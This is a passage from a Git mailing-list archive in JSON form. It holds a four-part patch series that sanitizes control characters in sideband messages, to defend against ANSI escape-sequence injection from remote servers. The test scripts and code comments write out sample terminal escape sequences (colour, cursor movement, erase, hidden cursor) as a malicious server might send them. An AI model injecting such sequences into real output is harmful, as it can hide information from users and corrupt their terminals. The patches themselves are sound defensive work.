ALLOW_ANSI_COLOR_SEQUENCES,\n     ++\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n      +} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n       \n       /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n     @@ sideband.c: static int use_sideband_colors(void)\n      +\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n      +\t\t\t\t\t      &value))\n      +\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n     ++\t\telse if (!strcmp(value, \"default\"))\n     ++\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n      +\t\telse if (!strcmp(value, \"color\"))\n      +\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n      +\t\telse\n     @@ sideband.c: void list_config_color_sideband_slots(struct string_list *list, cons\n      +\t * Valid ANSI color sequences are of the form\n      +\t *\n      +\t * ESC [ [<n> [; <n>]*] m\n     ++\t *\n     ++\t * These are part of the Select Graphic Rendition sequences which\n     ++\t * contain more than just color sequences, for more details see\n     ++\t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n      +\t */\n      +\n      +\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n     @@ sideband.c: static void strbuf_add_sanitized(struct strbuf *dest, const char *sr\n      +\t\t\tn -= i;\n      +\t\t} else {\n       \t\t\tstrbuf_addch(dest, '^');\n     - \t\t\tstrbuf_addch(dest, 0x40 + *src);\n     + \t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n       \t\t}\n      \n       ## t/t5409-colorize-remote-messages.sh ##\n     @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'fallback to color.ui'\n      +\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n       \texec \"$@\"\n       \tEOF\n     - \ttest_config_global uploadPack.packObjectshook ./color-me-surprised &&\n     + \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n      @@ t/t5409-colorize-remote-messages.sh: test_expect_success 'disallow (color) control sequences in sideband' '\n       \n       \tgit clone --no-local . throw-away 2>stderr &&\n -:  ---------- > 4:  fe109cd331 sideband: add options to allow more control sequences to be passed through\n\n-- \ngitgitgadget\n"},{"id":"532363","messageId":"8d7047655933592939dd1395f5b1ead595cee4ee.1765981422.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v2.git.1765981422.gitgitgadget@gmail.com","subject":"[PATCH v2 1/4] sideband: mask control characters","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-12-17T14:23:39Z","receivedAt":"2025-12-17T14:23:47Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe output of `git clone` is a vital component for understanding what\nhas happened when things go wrong. However, these logs are partially\nunder the control of the remote server (via the \"sideband\", which\ntypically contains what the remote `git pack-objects` process sends to\n`stderr`), and is currently not sanitized by Git.\n\nThis makes Git susceptible to ANSI escape sequence injection (see\nCWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows\nattackers to corrupt terminal state, to hide information, and even to\ninsert characters into the input buffer (i.e. as if the user had typed\nthose characters).\n\nTo plug this vulnerability, disallow any control character in the\nsideband, replacing them instead with the common `^<letter/symbol>`\n(e.g. `^[` for `\\x1b`, `^A` for `\\x01`).\n\nThere is likely a need for more fine-grained controls instead of using a\n\"heavy hammer\" like this, which will be introduced subsequently.\n\nHelped-by: Phillip Wood <phillip.wood@dunelm.org.uk>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n sideband.c                          | 17 +++++++++++++++--\n t/t5409-colorize-remote-messages.sh | 12 ++++++++++++\n 2 files changed, 27 insertions(+), 2 deletions(-)\n\ndiff --git a/sideband.c b/sideband.c\nindex 02805573fa..fc1805dcf8 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n+{\n+\tstrbuf_grow(dest, n);\n+\tfor (; n && *src; src++, n--) {\n+\t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n+\t\t\tstrbuf_addch(dest, *src);\n+\t\telse {\n+\t\t\tstrbuf_addch(dest, '^');\n+\t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n+\t\t}\n+\t}\n+}\n+\n /*\n  * Optionally highlight one keyword in remote output if it appears at the start\n  * of the line. This should be called for a single line only, which is\n@@ -80,7 +93,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \tint i;\n \n \tif (!want_color_stderr(use_sideband_colors())) {\n-\t\tstrbuf_add(dest, src, n);\n+\t\tstrbuf_add_sanitized(dest, src, n);\n \t\treturn;\n \t}\n \n@@ -113,7 +126,7 @@ static void maybe_colorize_sideband(struct strbuf *dest, const char *src, int n)\n \t\t}\n \t}\n \n-\tstrbuf_add(dest, src, n);\n+\tstrbuf_add_sanitized(dest, src, n);\n }\n \n \ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex 516b22fd96..f4712f4161 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -99,4 +99,16 @@ test_expect_success 'fallback to color.ui' '\n \tgrep \"<BOLD;RED>error<RESET>: error\" decoded\n '\n \n+test_expect_success 'disallow (color) control sequences in sideband' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep ! RED decoded\n+'\n+\n test_done\n-- \ngitgitgadget\n\n"},{"id":"532364","messageId":"2615abd8c5d5c55486cf5885c47e09e52fad61b8.1765981422.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v2.git.1765981422.gitgitgadget@gmail.com","subject":"[PATCH v2 2/4] sideband: introduce an \"escape hatch\" to allow control characters","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-12-17T14:23:40Z","receivedAt":"2025-12-17T14:23:48Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding commit fixed the vulnerability whereas sideband messages\n(that are under the control of the remote server) could contain ANSI\nescape sequences that would be sent to the terminal verbatim.\n\nHowever, this fix may not be desirable under all circumstances, e.g.\nwhen remote servers deliberately add coloring to their messages to\nincrease their urgency.\n\nTo help with those use cases, give users a way to opt-out of the\nprotections: `sideband.allowControlCharacters`.\n\nSuggested-by: brian m. carlson <sandals@crustytoothpaste.net>\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config.txt            |  2 ++\n Documentation/config/sideband.txt   |  5 +++++\n sideband.c                          | 10 ++++++++++\n t/t5409-colorize-remote-messages.sh |  8 +++++++-\n 4 files changed, 24 insertions(+), 1 deletion(-)\n create mode 100644 Documentation/config/sideband.txt\n\ndiff --git a/Documentation/config.txt b/Documentation/config.txt\nindex 8c0b3ed807..48870bb588 100644\n--- a/Documentation/config.txt\n+++ b/Documentation/config.txt\n@@ -522,6 +522,8 @@ include::config/sequencer.txt[]\n \n include::config/showbranch.txt[]\n \n+include::config/sideband.txt[]\n+\n include::config/sparse.txt[]\n \n include::config/splitindex.txt[]\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nnew file mode 100644\nindex 0000000000..3fb5045cd7\n--- /dev/null\n+++ b/Documentation/config/sideband.txt\n@@ -0,0 +1,5 @@\n+sideband.allowControlCharacters::\n+\tBy default, control characters that are delivered via the sideband\n+\tare masked, to prevent potentially unwanted ANSI escape sequences\n+\tfrom being sent to the terminal. Use this config setting to override\n+\tthis behavior.\ndiff --git a/sideband.c b/sideband.c\nindex fc1805dcf8..997430f2ea 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -25,6 +25,8 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n+static int allow_control_characters;\n+\n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n {\n@@ -38,6 +40,9 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n+\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n+\t\t\t    &allow_control_characters);\n+\n \tif (!git_config_get_string_tmp(key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n \telse if (!git_config_get_string_tmp(\"color.ui\", &value))\n@@ -67,6 +72,11 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n+\tif (allow_control_characters) {\n+\t\tstrbuf_add(dest, src, n);\n+\t\treturn;\n+\t}\n+\n \tstrbuf_grow(dest, n);\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex f4712f4161..e8067df591 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -106,9 +106,15 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \tEOF\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n \ttest_commit need-at-least-one-commit &&\n+\n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep ! RED decoded\n+\ttest_grep ! RED decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded\n '\n \n test_done\n-- \ngitgitgadget\n\n"},{"id":"532365","messageId":"44585ba1f4223f053820d82f1513c2258e1e0059.1765981422.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v2.git.1765981422.gitgitgadget@gmail.com","subject":"[PATCH v2 3/4] sideband: do allow ANSI color sequences by default","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-12-17T14:23:41Z","receivedAt":"2025-12-17T14:23:50Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nThe preceding two commits introduced special handling of the sideband\nchannel to neutralize ANSI escape sequences before sending the payload\nto the terminal, and `sideband.allowControlCharacters` to override that\nbehavior.\n\nHowever, as reported by brian m. carlson, some `pre-receive` hooks that\nare actively used in practice want to color their messages and therefore\nrely on the fact that Git passes them through to the terminal, even\nthough they have no way to determine whether the receiving side can\nactually handle Escape sequences (think e.g. about the practice\nrecommended by Git that third-party applications wishing to use Git\nfunctionality parse the output of Git commands).\n\nIn contrast to other ANSI escape sequences, it is highly unlikely that\ncoloring sequences can be essential tools in attack vectors that mislead\nGit users e.g. by hiding crucial information.\n\nTherefore we can have both: Continue to allow ANSI coloring sequences to\nbe passed to the terminal by default, and neutralize all other ANSI\nEscape sequences.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.txt   | 18 ++++++--\n sideband.c                          | 68 ++++++++++++++++++++++++++---\n t/t5409-colorize-remote-messages.sh | 16 ++++++-\n 3 files changed, 92 insertions(+), 10 deletions(-)\n\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nindex 3fb5045cd7..e5b7383c7a 100644\n--- a/Documentation/config/sideband.txt\n+++ b/Documentation/config/sideband.txt\n@@ -1,5 +1,17 @@\n sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n-\tare masked, to prevent potentially unwanted ANSI escape sequences\n-\tfrom being sent to the terminal. Use this config setting to override\n-\tthis behavior.\n+\tare masked, except ANSI color sequences. This prevents potentially\n+\tunwanted ANSI escape sequences from being sent to the terminal. Use\n+\tthis config setting to override this behavior:\n++\n+--\n+\tdefault::\n+\tcolor::\n+\t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n+\t\tbut mask all other control characters. This is the default.\n+\tfalse::\n+\t\tMask all control characters other than line feeds and\n+\t\thorizontal tabs.\n+\ttrue::\n+\t\tAllow all control characters to be sent to the terminal.\n+--\ndiff --git a/sideband.c b/sideband.c\nindex 997430f2ea..fb43008ab7 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -25,7 +25,12 @@ static struct keyword_entry keywords[] = {\n \t{ \"error\",\tGIT_COLOR_BOLD_RED },\n };\n \n-static int allow_control_characters;\n+static enum {\n+\tALLOW_NO_CONTROL_CHARACTERS = 0,\n+\tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n+\tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n+} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n@@ -40,8 +45,26 @@ static int use_sideband_colors(void)\n \tif (use_sideband_colors_cached >= 0)\n \t\treturn use_sideband_colors_cached;\n \n-\tgit_config_get_bool(\"sideband.allowcontrolcharacters\",\n-\t\t\t    &allow_control_characters);\n+\tswitch (git_config_get_maybe_bool(\"sideband.allowcontrolcharacters\", &i)) {\n+\tcase 0: /* Boolean value */\n+\t\tallow_control_characters = i ? ALLOW_ALL_CONTROL_CHARACTERS :\n+\t\t\tALLOW_NO_CONTROL_CHARACTERS;\n+\t\tbreak;\n+\tcase -1: /* non-Boolean value */\n+\t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n+\t\t\t\t\t      &value))\n+\t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n+\t\telse if (!strcmp(value, \"default\"))\n+\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (!strcmp(value, \"color\"))\n+\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\tbreak;\n+\tdefault:\n+\t\tbreak; /* not configured */\n+\t}\n \n \tif (!git_config_get_string_tmp(key, &value))\n \t\tuse_sideband_colors_cached = git_config_colorbool(key, value);\n@@ -70,9 +93,41 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n+static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+{\n+\tint i;\n+\n+\t/*\n+\t * Valid ANSI color sequences are of the form\n+\t *\n+\t * ESC [ [<n> [; <n>]*] m\n+\t *\n+\t * These are part of the Select Graphic Rendition sequences which\n+\t * contain more than just color sequences, for more details see\n+\t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n+\t */\n+\n+\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n+\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\t\treturn 0;\n+\n+\tfor (i = 2; i < n; i++) {\n+\t\tif (src[i] == 'm') {\n+\t\t\tstrbuf_add(dest, src, i + 1);\n+\t\t\treturn i;\n+\t\t}\n+\t\tif (!isdigit(src[i]) && src[i] != ';')\n+\t\t\tbreak;\n+\t}\n+\n+\treturn 0;\n+}\n+\n static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n-\tif (allow_control_characters) {\n+\tint i;\n+\n+\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -81,7 +136,10 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n \t\t\tstrbuf_addch(dest, *src);\n-\t\telse {\n+\t\telse if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\t\tsrc += i;\n+\t\t\tn -= i;\n+\t\t} else {\n \t\t\tstrbuf_addch(dest, '^');\n \t\t\tstrbuf_addch(dest, *src == 0x7f ? '?' : 0x40 + *src);\n \t\t}\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex e8067df591..f34977b332 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -101,7 +101,7 @@ test_expect_success 'fallback to color.ui' '\n \n test_expect_success 'disallow (color) control sequences in sideband' '\n \twrite_script .git/color-me-surprised <<-\\EOF &&\n-\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\n\" >&2\n+\tprintf \"error: Have you \\\\033[31mread\\\\033[m this?\\\\a\\\\n\" >&2\n \texec \"$@\"\n \tEOF\n \ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n@@ -109,12 +109,24 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \n \tgit clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n+\ttest_grep RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_must_be_empty actual &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=false \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >decoded &&\n \ttest_grep ! RED decoded &&\n+\ttest_grep \"\\\\^G\" stderr &&\n \n \trm -rf throw-away &&\n \tgit -c sideband.allowControlCharacters clone --no-local . throw-away 2>stderr &&\n \ttest_decode_color <stderr >decoded &&\n-\ttest_grep RED decoded\n+\ttest_grep RED decoded &&\n+\ttr -dc \"\\\\007\" <stderr >actual &&\n+\ttest_file_not_empty actual\n '\n \n test_done\n-- \ngitgitgadget\n\n"},{"id":"532366","messageId":"fe109cd3319a5e3a1d1982a53963a601bb62b81f.1765981422.git.gitgitgadget@gmail.com","threadId":"62809","inReplyTo":"pull.1853.v2.git.1765981422.gitgitgadget@gmail.com","subject":"[PATCH v2 4/4] sideband: add options to allow more control sequences to be passed through","fromName":"Johannes Schindelin via GitGitGadget","fromEmail":"gitgitgadget@gmail.com","sentAt":"2025-12-17T14:23:42Z","receivedAt":"2025-12-17T14:23:51Z","isPatch":true,"body":"From: Johannes Schindelin <johannes.schindelin@gmx.de>\n\nEven though control sequences that erase characters are quite juicy for\nattack scenarios, where attackers are eager to hide traces of suspicious\nactivities, during the review of the side band sanitizing patch series\nconcerns were raised that there might be some legimitate scenarios where\nGit server's `pre-receive` hooks use those sequences in a benign way.\n\nControl sequences to move the cursor can likewise be used to hide tracks\nby overwriting characters, and have been equally pointed out as having\nlegitimate users.\n\nLet's add options to let users opt into passing through those ANSI\nEscape sequences: `sideband.allowControlCharacters` now supports also\n`cursor` and `erase`, and it parses the value as a comma-separated list.\n\nSigned-off-by: Johannes Schindelin <johannes.schindelin@gmx.de>\n---\n Documentation/config/sideband.txt   |  9 ++-\n sideband.c                          | 91 ++++++++++++++++++++++++-----\n t/t5409-colorize-remote-messages.sh | 38 ++++++++++++\n 3 files changed, 123 insertions(+), 15 deletions(-)\n\ndiff --git a/Documentation/config/sideband.txt b/Documentation/config/sideband.txt\nindex e5b7383c7a..8eb7656cdd 100644\n--- a/Documentation/config/sideband.txt\n+++ b/Documentation/config/sideband.txt\n@@ -2,13 +2,20 @@ sideband.allowControlCharacters::\n \tBy default, control characters that are delivered via the sideband\n \tare masked, except ANSI color sequences. This prevents potentially\n \tunwanted ANSI escape sequences from being sent to the terminal. Use\n-\tthis config setting to override this behavior:\n+\tthis config setting to override this behavior (the value can be\n+\ta comma-separated list of the following keywords):\n +\n --\n \tdefault::\n \tcolor::\n \t\tAllow ANSI color sequences, line feeds and horizontal tabs,\n \t\tbut mask all other control characters. This is the default.\n+\tcursor::\n+\t\tAllow control sequences that move the cursor. This is\n+\t\tdisabled by default.\n+\terase::\n+\t\tAllow control sequences that erase charactrs. This is\n+\t\tdisabled by default.\n \tfalse::\n \t\tMask all control characters other than line feeds and\n \t\thorizontal tabs.\ndiff --git a/sideband.c b/sideband.c\nindex fb43008ab7..725e24db0d 100644\n--- a/sideband.c\n+++ b/sideband.c\n@@ -28,9 +28,43 @@ static struct keyword_entry keywords[] = {\n static enum {\n \tALLOW_NO_CONTROL_CHARACTERS = 0,\n \tALLOW_ANSI_COLOR_SEQUENCES = 1<<0,\n+\tALLOW_ANSI_CURSOR_MOVEMENTS = 1<<1,\n+\tALLOW_ANSI_ERASE = 1<<2,\n \tALLOW_DEFAULT_ANSI_SEQUENCES = ALLOW_ANSI_COLOR_SEQUENCES,\n-\tALLOW_ALL_CONTROL_CHARACTERS = 1<<1,\n-} allow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n+\tALLOW_ALL_CONTROL_CHARACTERS = 1<<3,\n+} allow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\n+static inline int skip_prefix_in_csv(const char *value, const char *prefix,\n+\t\t\t\t     const char **out)\n+{\n+\tif (!skip_prefix(value, prefix, &value) ||\n+\t    (*value && *value != ','))\n+\t\treturn 0;\n+\t*out = value + !!*value;\n+\treturn 1;\n+}\n+\n+static void parse_allow_control_characters(const char *value)\n+{\n+\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\twhile (*value) {\n+\t\tif (skip_prefix_in_csv(value, \"default\", &value))\n+\t\t\tallow_control_characters |= ALLOW_DEFAULT_ANSI_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"color\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_COLOR_SEQUENCES;\n+\t\telse if (skip_prefix_in_csv(value, \"cursor\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_CURSOR_MOVEMENTS;\n+\t\telse if (skip_prefix_in_csv(value, \"erase\", &value))\n+\t\t\tallow_control_characters |= ALLOW_ANSI_ERASE;\n+\t\telse if (skip_prefix_in_csv(value, \"true\", &value))\n+\t\t\tallow_control_characters = ALLOW_ALL_CONTROL_CHARACTERS;\n+\t\telse if (skip_prefix_in_csv(value, \"false\", &value))\n+\t\t\tallow_control_characters = ALLOW_NO_CONTROL_CHARACTERS;\n+\t\telse\n+\t\t\twarning(_(\"unrecognized value for `sideband.\"\n+\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t}\n+}\n \n /* Returns a color setting (GIT_COLOR_NEVER, etc). */\n static int use_sideband_colors(void)\n@@ -54,13 +88,8 @@ static int use_sideband_colors(void)\n \t\tif (git_config_get_string_tmp(\"sideband.allowcontrolcharacters\",\n \t\t\t\t\t      &value))\n \t\t\t; /* huh? `get_maybe_bool()` returned -1 */\n-\t\telse if (!strcmp(value, \"default\"))\n-\t\t\tallow_control_characters = ALLOW_DEFAULT_ANSI_SEQUENCES;\n-\t\telse if (!strcmp(value, \"color\"))\n-\t\t\tallow_control_characters = ALLOW_ANSI_COLOR_SEQUENCES;\n \t\telse\n-\t\t\twarning(_(\"unrecognized value for `sideband.\"\n-\t\t\t\t  \"allowControlCharacters`: '%s'\"), value);\n+\t\t\tparse_allow_control_characters(value);\n \t\tbreak;\n \tdefault:\n \t\tbreak; /* not configured */\n@@ -93,7 +122,7 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref\n \t\tlist_config_item(list, prefix, keywords[i].keyword);\n }\n \n-static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int n)\n+static int handle_ansi_sequence(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n@@ -105,14 +134,47 @@ static int handle_ansi_color_sequence(struct strbuf *dest, const char *src, int\n \t * These are part of the Select Graphic Rendition sequences which\n \t * contain more than just color sequences, for more details see\n \t * https://en.wikipedia.org/wiki/ANSI_escape_code#SGR.\n+\t *\n+\t * The cursor movement sequences are:\n+\t *\n+\t * ESC [ n A - Cursor up n lines (CUU)\n+\t * ESC [ n B - Cursor down n lines (CUD)\n+\t * ESC [ n C - Cursor forward n columns (CUF)\n+\t * ESC [ n D - Cursor back n columns (CUB)\n+\t * ESC [ n E - Cursor next line, beginning (CNL)\n+\t * ESC [ n F - Cursor previous line, beginning (CPL)\n+\t * ESC [ n G - Cursor to column n (CHA)\n+\t * ESC [ n ; m H - Cursor position (row n, col m) (CUP)\n+\t * ESC [ n ; m f - Same as H (HVP)\n+\t *\n+\t * The sequences to erase characters are:\n+\t *\n+\t *\n+\t * ESC [ 0 J - Clear from cursor to end of screen (ED)\n+\t * ESC [ 1 J - Clear from cursor to beginning of screen (ED)\n+\t * ESC [ 2 J - Clear entire screen (ED)\n+\t * ESC [ 3 J - Clear entire screen + scrollback (ED) - xterm extension\n+\t * ESC [ 0 K - Clear from cursor to end of line (EL)\n+\t * ESC [ 1 K - Clear from cursor to beginning of line (EL)\n+\t * ESC [ 2 K - Clear entire line (EL)\n+\t * ESC [ n M - Delete n lines (DL)\n+\t * ESC [ n P - Delete n characters (DCH)\n+\t * ESC [ n X - Erase n characters (ECH)\n+\t *\n+\t * For a comprehensive list of common ANSI Escape sequences, see\n+\t * https://www.xfree86.org/current/ctlseqs.html\n \t */\n \n-\tif (allow_control_characters != ALLOW_ANSI_COLOR_SEQUENCES ||\n-\t    n < 3 || src[0] != '\\x1b' || src[1] != '[')\n+\tif (n < 3 || src[0] != '\\x1b' || src[1] != '[')\n \t\treturn 0;\n \n \tfor (i = 2; i < n; i++) {\n-\t\tif (src[i] == 'm') {\n+\t\tif (((allow_control_characters & ALLOW_ANSI_COLOR_SEQUENCES) &&\n+\t\t     src[i] == 'm') ||\n+\t\t    ((allow_control_characters & ALLOW_ANSI_CURSOR_MOVEMENTS) &&\n+\t\t     strchr(\"ABCDEFGHf\", src[i])) ||\n+\t\t    ((allow_control_characters & ALLOW_ANSI_ERASE) &&\n+\t\t     strchr(\"JKMPX\", src[i]))) {\n \t\t\tstrbuf_add(dest, src, i + 1);\n \t\t\treturn i;\n \t\t}\n@@ -127,7 +189,7 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n {\n \tint i;\n \n-\tif (allow_control_characters == ALLOW_ALL_CONTROL_CHARACTERS) {\n+\tif ((allow_control_characters & ALLOW_ALL_CONTROL_CHARACTERS)) {\n \t\tstrbuf_add(dest, src, n);\n \t\treturn;\n \t}\n@@ -136,7 +198,8 @@ static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)\n \tfor (; n && *src; src++, n--) {\n \t\tif (!iscntrl(*src) || *src == '\\t' || *src == '\\n')\n \t\t\tstrbuf_addch(dest, *src);\n-\t\telse if ((i = handle_ansi_color_sequence(dest, src, n))) {\n+\t\telse if (allow_control_characters != ALLOW_NO_CONTROL_CHARACTERS &&\n+\t\t\t (i = handle_ansi_sequence(dest, src, n))) {\n \t\t\tsrc += i;\n \t\t\tn -= i;\n \t\t} else {\ndiff --git a/t/t5409-colorize-remote-messages.sh b/t/t5409-colorize-remote-messages.sh\nindex f34977b332..c3e4e14362 100755\n--- a/t/t5409-colorize-remote-messages.sh\n+++ b/t/t5409-colorize-remote-messages.sh\n@@ -129,4 +129,42 @@ test_expect_success 'disallow (color) control sequences in sideband' '\n \ttest_file_not_empty actual\n '\n \n+test_decode_csi() {\n+\tawk '{\n+\t\twhile (match($0, /\\033/) != 0) {\n+\t\t\tprintf \"%sCSI \", substr($0, 1, RSTART-1);\n+\t\t\t$0 = substr($0, RSTART + RLENGTH, length($0) - RSTART - RLENGTH + 1);\n+\t\t}\n+\t\tprint\n+\t}'\n+}\n+\n+test_expect_success 'control sequences in sideband allowed by default' '\n+\twrite_script .git/color-me-surprised <<-\\EOF &&\n+\tprintf \"error: \\\\033[31mcolor\\\\033[m\\\\033[Goverwrite\\\\033[Gerase\\\\033[K\\\\033?25l\\\\n\" >&2\n+\texec \"$@\"\n+\tEOF\n+\ttest_config_global uploadPack.packObjectsHook ./color-me-surprised &&\n+\ttest_commit need-at-least-one-commit-at-least &&\n+\n+\trm -rf throw-away &&\n+\tgit clone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep ! \"CSI \\\\[K\" decoded &&\n+\ttest_grep ! \"CSI \\\\[G\" decoded &&\n+\ttest_grep \"\\\\^\\\\[?25l\" decoded &&\n+\n+\trm -rf throw-away &&\n+\tgit -c sideband.allowControlCharacters=erase,cursor,color \\\n+\t\tclone --no-local . throw-away 2>stderr &&\n+\ttest_decode_color <stderr >color-decoded &&\n+\ttest_decode_csi <color-decoded >decoded &&\n+\ttest_grep \"RED\" decoded &&\n+\ttest_grep \"CSI \\\\[K\" decoded &&\n+\ttest_grep \"CSI \\\\[G\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[K\" decoded &&\n+\ttest_grep ! \"\\\\^\\\\[\\\\[G\" decoded\n+'\n+\n test_done\n-- 